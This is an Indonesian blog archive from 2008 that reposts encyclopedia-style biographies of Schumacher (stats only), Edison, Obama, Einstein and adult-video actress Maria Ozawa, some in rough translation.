Ferrari (1996-2006)
Jumlah balapan 250 kali
Balapan pertama Grand Prix Belgia 1991[1][2]
Balapan terakhir Grand Prix Brazil 2006
Start 249 kali
Pole position 68 kali
Lap tercepat 76 kali
Menang 91 kali
Menang pertama Grand Prix Belgia 1992[3]
Menang terakhir Grand Prix China 2006[4]
Total poin 1.369 pts
Juara dunia 7 kali (1994, 1995, 2000, 2001, 2002, 2003, dan 2004)

Posted by Joker in 13:21:33 | Permalink | No Comments »

Monday, November 24, 2008

Thomas Alva Edison

Thomas Alva Edison (11 Februari 184718 Oktober 1931) adalah penemu dan pengusaha yang mengembangkan banyak peralatan penting. Si Penyihir Menlo Park ini merupakan salah seorang penemu pertama yang menerapkan prinsip produksi massal pada proses penemuan.

Masa Kecil

Ia lahir di Milan, Ohio, Amerika Serikat. Pada masa kecilnya di Amerika Serikat,Edison selalu mendapat nilai buruk di sekolahnya. Oleh karena itu ibunya memberhentikannya dari sekolah dan mengajar sendiri di rumah. Di rumah dengan leluasa Edison kecil dapat membaca buku-buku ilmiah dewasa dan mulai mengadakan berbagai percobaan ilmiah sendiri. Pada Usia 12 tahun ia mulai bekerja sebagai penjual koran, buah-buahan dan gula-gula di kereta api. Kemudian ia menjadi operator telegraf, Ia pindah dari satu kota ke kota lain. Di New York ia diminta untuk menjadi kepala mesin telegraf yang penting. Mesin-mesin itu mengirimkan berita bisnis ke seluruh perusahaan terkemuka di New York.

Masa Muda

Pada tahun 1870 ia menemukan mesin telegraf yang lebih baik. Mesin-mesinnya dapat mencetak pesan-pesan di atas pita kertas yang panjang. Uang yang dihasilkan dari penemuannya itu cukup untuk mendirikan perusahaan sendiri. Pada tahun 1874 ia pindah ke Menlo Park, New Jersey. Disana ia membuat sebuah bengkel ilmiah yang besar dan yang pertama di dunia. Setelah itu ia banyak melakukan penemuan-penemuan yang penting. Pada tahun 1877 ia menemukan Gramofon. Dalam tahun 1879 ia berhasil menemukan lampu listrik kemudia ia juga menemukan proyektor untuk film-film kecil. Tahun 1882 ia memasang lampu-lampu listrik di jalan-jalan dan rumah-rumah sejauh satu kilometer di kota New York. Hal ini adalah pertama kalinya di dunia lampu listrik di pakai di jalan-jalan. Pada tahun 1890, ia mendirikan perusahaan General Electric.

Thomas Edison waktu muda

Edison dipandang sebagai salah seorang pencipta paling produktif pada masanya, memegang rekor 1.093 paten atas namanya. Ia juga banyak membantu dalam bidang pertahanan pemerintahan Amerika Serikat. Beberapa penelitiannya antara lain : mendeteksi pesawat terbang, menghancurkan periskop dengan senjata mesin, mendeteksi kapal selam, menghentikan torpedo dengan jaring, menaikkan kekuatan torpedo, kapal kamuflase, dan masih banyak lagi.

Ia meninggal pada usianya yang ke-84, pada hari ulang tahun penemuannya yang terkenal, bola lampu modern.

Posted by Joker in 04:28:25 | Permalink | No Comments »

Sunday, November 23, 2008

Barack Obama

Barack Hussein Obama II (pengucapan Inggris: [bəˈrɑːk hʊˈseɪn oʊˈbɑːmə]; lahir di Honolulu, Hawaii, 4 Agustus 1961; umur 47 tahun) adalah seorang politisi Amerika Serikat dan pemenang Pemilu Presiden 2008. Sebagai Presiden-terpilih AS, ia akan mulai menjabat secara resmi sebagai Presiden AS ke-44 pada 20 Januari 2009. Saat ini ia adalah Senator Junior dari Illinois.

Obama adalah orang Afrika-Amerika pertama yang dicalonkan oleh sebuah partai politik besar Amerika untuk menjadi presiden.[1] Lulusan Universitas Columbia dan Sekolah Hukum Harvard; di sana ia menjabat sebagai presiden Harvard Law Review, Obama bekerja sebagai koordinator masyarakat dan menjabat sebagai pengacara hak sipil sebelum menjadi Senat Illinois selama tiga kali mulai 1997 hingga 2004. Ia mengajar hukum konstitusional di Sekolah Hukum Universitas Chicago sejak 1992 hingga 2004. Setelah kegagalan meraih kursi di Dewan Perwakilan AS tahun 2000, ia mengumumkan kampanyenya untuk Senat AS bulan Januari 2003. Setelah kemenangan Maret 2004, Obama menyampaikan catatan kuncinya pada Konvensi Nasional Demokrat Juli 2004. Ia terpilih sebagai Senat pada November 2004 dengan 70 persen suara.

Sebagai anggota minoritas Demokrat di Kongres ke-109, ia membantu membuat undang-undang yang mengatur senjata konvensional dan mempromosikan akuntabilitas publik dalam penggunaan dana federal. Ia juga melakukan perjalanan resmi ke Eropa Timur, Timur Tengah, dan Afrika. Selama Kongres ke-110, ia membantu membuat UU mengenai lobi dan kecurangan pemilihan, perubahan iklim, terorisme nuklir, dan perawatan bagi personil militer AS yang pulang. Obama mengumumkan kampanye presidennya pada Februari 2007, dan dicalonkan pada Konvensi Nasional Demokrat 2008 dengan senator Delaware, Joe Biden sebagai pasangan kampanye. Dan Pada tanggal 4 November 2008 Barack Obama sukses mengalahkan rivalnya senator John Mccain dari partai republik dan menjadi presiden amerika ke 44 dan orang kulit hitam pertama sebagai presiden Amerika serikat.

Barack Obama
Barack Obama

Barack Hussein Obama II


Presiden Amerika Serikat - terpilih ke-44
Mulai menjabat
20 Januari 2009
Wakil Presiden Joe Biden (terpilih)
Akan menggantikan George Walker Bush

Sedang Menjabat
Mulai menjabat 
4 Januari 2005
Bersama dengan Richard Durbin
Pendahulu Peter Fitzgerald

Lahir 4 Agustus 1961 (umur 47)
Honolulu, Hawaii
Kebangsaan Amerika Serikat
Partai politik Demokrat
Suami/Istri Michelle Obama
Anak Malia Ann, Natasha
Almamater Universitas Harvard, 1992
Agama Kristen Protestan
Tanda tangan Barack Obama's signature
Situs resmi http://www.barackobama.com

Posted by Joker in 16:07:17 | Permalink | No Comments »

Wednesday, November 19, 2008

Albert Einstein

Masa muda dan universitas

Einstein dilahirkan di Ulm di Württemberg, Jerman; sekitar 100 km sebelah timur Stuttgart. Bapaknya bernama Hermann Einstein, seorang penjual ranjang bulu yang kemudian menjalani pekerjaan elektrokimia, dan ibunya bernama Pauline. Mereka menikah di Stuttgart-Bad Cannstatt. Keluarga mereka keturunan Yahudi; Albert disekolahkan di sekolah Katholik dan atas keinginan ibunya dia diberi pelajaran biola.

Pada umur lima tahun, ayahnya menunjukkan kompas kantung, dan Einstein menyadari bahwa sesuatu di ruang yang “kosong” ini beraksi terhadap jarum di kompas tersebut; dia kemudian menjelaskan pengalamannya ini sebagai salah satu saat yang paling menggugah dalam hidupnya. Meskipun dia membuat model dan alat mekanik sebagai hobi, dia dianggap sebagai pelajar yang lambat, kemungkinan disebabkan oleh dyslexia, sifat pemalu, atau karena struktur yang jarang dan tidak biasa pada otaknya (diteliti setelah kematiannya). Dia kemudian diberikan penghargaan untuk teori relativitasnya karena kelambatannya ini, dan berkata dengan berpikir dalam tentang ruang dan waktu dari anak-anak lainnya, dia mampu mengembangkan kepandaian yang lebih berkembang. Pendapat lainnya, berkembang belakangan ini, tentang perkembangan mentalnya adalah dia menderita Sindrom Asperger, sebuah kondisi yang berhubungan dengan autisme.

Einstein mulai belajar matematika pada umur dua belas tahun. Ada gosip bahwa dia gagal dalam matematika dalam jenjang pendidikannya, tetapi ini tidak benar; penggantian dalam penilaian membuat bingung pada tahun berikutnya. Dua pamannya membantu mengembangkan ketertarikannya terhadap dunia intelek pada masa akhir kanak-kanaknya dan awal remaja dengan memberikan usulan dan buku tentang sains dan matematika.

Pada tahun 1894, dikarenakan kegagalan bisnis elektrokimia ayahnya, Einstein pindah dari Munich ke Pavia, Italia (dekat kota Milan). Albert tetap tinggal untuk menyelesaikan sekolah, menyelesaikan satu semester sebelum bergabung kembali dengan keluarganya di Pavia.

Kegagalannya dalam seni liberal dalam tes masuk Eidgenössische Technische Hochschule (Institut Teknologi Swiss Federal, di Zurich) pada tahun berikutnya adalah sebuah langkah mundur dia oleh keluarganya dikirim ke Aarau, Swiss, untuk menyelesaikan sekolah menengahnya, di mana dia menerima diploma pada tahun 1896, Einstein beberapa kali mendaftar di Eidgenössische Technische Hochschule. Pada tahun berikutnya dia melepas kewarganegaraan Württemberg, dan menjadi tak bekewarganegaraan.

‘Einsteinhaus’ di kota Bern di mana Einstein dan Mileva tinggal (di lantai 1) pada masa Annus Mirabilis

Pada 1898, Einstein menemui dan jatuh cinta kepada Mileva Marić, seorang Serbia yang merupakan teman kelasnya (juga teman Nikola Tesla). Pada tahun 1900, dia diberikan gelar untuk mengajar oleh Eidgenössische Technische Hochschule dan diterima sebagai warga negar Swiss pada 1901. Selama masa ini Einstein mendiskusikan ketertarikannya terhadap sains kepada teman-teman dekatnya, termasuk Mileva. Dia dan Mileva memiliki seorang putri bernama Lieserl, lahir dalam bulan Januari tahun 1902. Lieserl Einstein, pada waktu itu, dianggap tidak legal karena orang tuanya tidak menikah.

[sunting] Kerja dan Gelar Doktor

Pada saat kelulusannya Einstein tidak dapat menemukan pekerjaan mengajar, keterburuannya sebagai orang muda yang mudah membuat marah professornya. Ayah seorang teman kelas menolongnya mendapatkan pekerjaan sebagai asisten teknik pemeriksa di Kantor Paten Swiss pada tahun 1902. Di sana, Einstein menilai aplikasi paten penemu untuk alat yang memerlukan pengetahuan fisika. Dia juga belajar menyadari pentingnya aplikasi dibanding dengan penjelasan yang buruk, dan belajar dari direktur bagaimana “menjelaskan dirinya secara benar”. Dia kadang-kadang membetulkan desain mereka dan juga mengevaluasi kepraktisan hasil kerja mereka.

Einstein menikahi Mileva pada 6 Januari 1903. Pernikahan Einstein dengan Mileva, seorang matematikawan. Pada 14 Mei 1904, anak pertama dari pasangan ini, Hans Albert Einstein, lahir. Pada 1904, posisi Einstein di Kantor Paten Swiss menjadi tetap. Dia mendapatkan gelar doktor setelah menyerahkan thesis “Eine neue Bestimmung der Moleküldimensionen” (“On a new determination of molecular dimensions“) pada tahun 1905 dari Universitas Zürich.

Di tahun yang sama dia menulis empat artikel yang memberikan dasar fisika modern, tanpa banyak sastra sains yang dapat ia tunjuk atau banyak kolega dalam sains yang dapat ia diskusikan tentang teorinya. Banyak fisikawan setuju bahwa ketiga thesis itu (tentang gerak Brownian), efek fotolistrik, dan relativitas khusus) pantas mendapat Penghargaan Nobel. Tetapi hanya thesis tentang efek fotoelektrik yang mendapatkan penghargaan tersebut. Ini adalah sebuah ironi, bukan hanya karena Einstein lebih tahu banyak tentang relativitas, tetapi juga karena efek fotoelektrik adalah sebuah fenomena kuantum, dan Einstein menjadi terbebas dari jalan dalam teori kuantum. Yang membuat thesisnya luar biasa adalah, dalam setiap kasus, Einstein dengan yakin mengambil ide dari teori fisika ke konsekuensi logis dan berhasil menjelaskan hasil eksperimen yang membingungkan para ilmuwan selama beberapa dekade.

Dia menyerahkan thesis-thesisnya ke “Annalen der Physik“. Mereka biasanya ditujukan kepada “Annus Mirabilis Papers” (dari Latin: Tahun luar biasa). Persatuan Fisika Murni dan Aplikasi (IUPAP) merencanakan untuk merayakan 100 tahun publikasi pekerjaan Einstein di tahun 1905 sebagai Tahun Fisika 2005.

Posted by Joker in 07:30:20 | Permalink | No Comments »

Tuesday, October 21, 2008

Miyabi cuy..

Seperti idola pornografi lainnya, Tina Yuzuki dan Anna Ohura, Maria Ozawa memiliki ras campuran. Ibunya adalah orang Jepang dan ayahnya orang Kanada Perancis.[2]

Ozawa mengalami pengalaman seksual pertamanya pada usia 13 tahun dan mempelajari 48 posisi seksual dari buku yang ia beli sendiri. Dia pertama kali melihat AV (adult video/Film Dewasa) dengan melihat beberapa rekaman video yang dimiliki saudara laki-lakinya.[3] Tidak seperti kebanyakan aktris AV, Ozawa tidak diarahkan. Dia pertama kali dikenalkan pada industri AV melalui temannya yang bekerja pada perusahaan AV.[3] Ozawa kemudian tertarik pada industri tersebut, mencari perusahaan yang cocok sampai akhirnya ia menemukan perusahaan B-open, agen model yang disukainya. Dia mengikuti wawancara dengan perusahaann tersebut dan diterima.[4] Ozawa memulai karirnya sebagai model Miyabi untuk situs Shirouto-Teien.com pada Juni 2005, yang menghasilkan beberapa set foto dan Video Hardcore gonzo pendek uang diedarkan dalam format CD-R dan DVD-R.[5] Kemudian Ozawa menandatangani kontrak dengan S1, sebuah perusahaan AV yang memproduksi pornografi hardcore ringan, tampil pertama kali sebagai Maria Ozawa pada 7 Oktober 2005 dengan video New Face – Number One Style (新人xギリモザ ナンバーワンスタイル).[6] Ozawa ingat saat itu ia sangat gugup selama proses syuting Film AV pertamanya sampai ia tidak mampu menatap wajah lawan mainnya.[3]

Di S1, Ozawa secara teratur muncul dalam video bulanan sampai Februari 2007. Ozawa juga ikut berpartisipasi dalam beberapa video kompilasi S1, termasuk video kontestan “AV Open 2006″, sebuah pameran kompetisi diantara studio pornografi Jepang yang menentukan studio mana yang memiliki omset penjualan paling tinggi. Video Hyper – Barely There Mosaic (ハイパーギリギリモザイク) yang menghadirkan Maria Ozawa, diantara beberapa idola AV lainnya seperti, Sora Aoi, Yua Aida, Yuma Asami, dan Rin Aoki memenangkan juara pertama. Maria Ozawa mengakhiri kontrak dengan S1 pada awal 2007.[7] Bersama dengan Rin Suzuka, Reina Matsushima dan Rin Aoki, mereka kemudian pindah ke perusahaan baru yaitu, Dasdas (DAS).[8] Pada 25 April 2007, Dasdas mengedarkan beberapa video pertama perusahaan tersebut, diantaranya menghadirkan Maria Ozawa. Video-video Dasdas menampilkan adegan pemerkosaan, creampie, urolagnia, enema, dan penyikasaan fisik, tema yang sangat berbeda dari video S1nya.

Pada akhir 2007, ia menandatangani kontrak (tidak eksklusif) dengan Attackers’ (アタッカーズ), sebuah studio AV yang memiliki spesialisasi pada tema pornografi perkosaan.[9] Pada Juni 2008 ia berpindah studio sekali lagi, berpindah ke studio baru yaitu Ranmaru[10] [11] yang meluncurkan videonya dengan studio tersebut pada 19 Juli 2008. Pada pertengahan 2008 Maria Ozawa melakukan beberapa variasi video dari produser yang berbeda termasuk video lesbiannya yang pertama (W Cast Premium Lesbian) untuk LADYXLADY, sebuah divisi dari studio pornografi Jepang Soft on Demand.

Selain dalam video dewasa, ia juga tampil pada film-film V-Cinema, sebuah buku foto dan beberapa video glamor (“gravure“). Ia juga pernah tampil dalam MTV Jepang,[2] dan di Grup hip hop Yokohama DS455′s untuk lagu “Summer Time in the D.S.C.”.

Pada sebuah wawancara tahun 2007, Ozawa menyatakan bahwa ketertarikannya pada industri film dewasa tetap tinggi, dan dalam lemari videonya hanya terdapat film dewasa saja. Ia mendapat hidup yang layak dari industri ini, tinggal di sebuah apartemen mewah dengan sewa per bulan US$1.682, dan Ozawa mendapat penerimaan minimal $8.000 per bulan.[4] Walaupun begitu, ia mengatakan bahwa ia akan berhenti dari industri AV jika ia terpaksa untuk melakukan hal lain, Ozawa juga mencegah teman-temannya agar tidak bekerja pada Industri AV.[4] Keluarga Ozawa dan temannya sangat menentang dan tidak setuju dengan profesinya. Ketika Ozawa membawa beberapa video AVnya untuk ditunjukkan pada orangtuanya, mereka menolak untuk menontonnya dan mengusirnya keluar dari rumah.[4]

Posted by Joker in 13:42:06 | Permalink | Comments (3)